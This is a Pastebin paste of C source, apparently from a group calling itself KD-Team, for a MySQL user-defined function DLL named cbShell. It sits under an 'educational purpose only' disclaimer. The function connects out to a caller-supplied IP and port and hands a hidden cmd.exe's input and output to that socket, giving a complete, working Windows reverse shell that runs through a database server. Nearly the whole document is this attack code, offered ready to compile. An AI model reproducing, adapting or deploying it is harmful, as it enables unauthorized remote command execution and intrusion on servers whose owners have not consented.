Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
- +This is a little Disclaimer for if you havn't read the one on our site. +
- +The tools and tutorials KD-Team develops and publishes are only ment for +
- +educational purpose only.WE DO NOT encourage the use of this tools and +
- +tutorials for mailicious purpose.We learned a lot during the development of them +
- +so we hope you also learn and don't just use it without any brains. +
- +We take completly NO responsability for any damage caused by them nor +
- +are we or our isp responsible for what you do with them. +
- +Greetz: KD-Team +
- +http://www.kd-team.com +
- ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
- */
- #include <winsock2.h>
- #include <windows.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <mysql.h>
- //You can play with this if you don't want to include mysql.h etc then just defining everything by hand
- //enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
- //typedef struct st_udf_args
- //{
- // unsigned int arg_count; /* Number of arguments */
- // enum Item_result *arg_type; /* Pointer to item_results */
- // char **args; /* Pointer to argument */
- // unsigned long *lengths; /* Length of string arguments */
- // char *maybe_null; /* Set to 1 for all maybe_null args */
- //Page 18;
- //} UDF_ARGS;
- //typedef struct st_udf_init
- //{
- // char maybe_null; /* 1 if function can return NULL */
- // unsigned int decimals; /* for real functions */
- // unsigned long max_length; /* For string functions */
- // char *ptr; /* free pointer for function data */
- // char const_item; /* 0 if result is independent of arguments */
- //} UDF_INIT;
- extern "C" {
- __declspec (dllexport) my_bool cbShell_init(UDF_INIT *initid, UDF_ARGS *args, char *message);
- __declspec (dllexport) int cbShell(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error, char *result, unsigned long *length);
- }
- my_bool cbShell_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
- {
- if( args->arg_count != 2 )
- {
- strcpy(message,"cbShell()usage: select cbShell(\"ip\",\"port\")");
- return 1;
- }
- if ( args->arg_type[0] != STRING_RESULT || args->arg_type[1] != STRING_RESULT)
- {
- strcpy(message,"cbShell() requires a valid ip and port");
- return 1;
- }
- return 0;
- };
- int cbShell(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error, char *result, unsigned long *length)
- {
- //*error = 1;
- *is_null = 1;
- int sock;
- struct sockaddr_in cbAddr;
- WSADATA wsaData;
- STARTUPINFO si;
- PROCESS_INFORMATION pi={0};
- char comspec[MAX_PATH];
- unsigned short cbPort;
- char *cbIp;
- cbIp = args->args[0];
- cbPort = atoi(args->args[1]);
- //starting up wsa
- if (WSAStartup(MAKEWORD(2, 0), &wsaData) != 0)
- {
- //printf("WSAStartup() failed");
- //exit(1);
- }
- //Make shure it's WSASocket()
- if ((sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,0,0,0)) < 0)
- {
- //printf("Socket Failed\n");
- WSACleanup();
- //exit(1);
- }
- //filling the struct
- memset(&cbAddr, 0, sizeof(cbAddr));
- cbAddr.sin_family = AF_INET;
- cbAddr.sin_addr.s_addr = inet_addr(cbIp);
- cbAddr.sin_port = htons(cbPort);
- // Establish the connection to the echo server
- if (connect(sock, (struct sockaddr *) &cbAddr, sizeof(cbAddr)) < 0)
- {
- //printf("connect() failed\n");
- closesocket(sock);
- WSACleanup();
- //exit(1);
- }
- //Setting up the startupinfo etc to make shure cmd get's a both way traffic
- memset(&si,0,sizeof(si));
- GetStartupInfo(&si);
- si.cb = sizeof(si);
- si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
- si.wShowWindow = SW_HIDE;
- si.hStdInput = (HANDLE)sock;
- si.hStdOutput = (HANDLE)sock;
- si.hStdError =(HANDLE)sock;
- //getting cmd.exe a bit more fancier then hardcoding it.
- if(GetEnvironmentVariable("COMSPEC", comspec, MAX_PATH) == 0)
- {
- //printf("Environment var failed\n");
- closesocket(sock);
- //exit(1);
- }
- if(!CreateProcess(NULL,comspec, NULL, NULL, TRUE, CREATE_NEW_CONSOLE, 0, NULL, &si, &pi)) //CREATE_NO_WINDOW
- {
- //printf("process creation failed\n");
- closesocket(sock);
- CloseHandle(pi.hProcess);
- CloseHandle(pi.hThread);
- }
- WaitForSingleObject(pi.hProcess, INFINITE);
- CloseHandle(pi.hProcess);
- CloseHandle(pi.hThread);
- closesocket(sock);
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement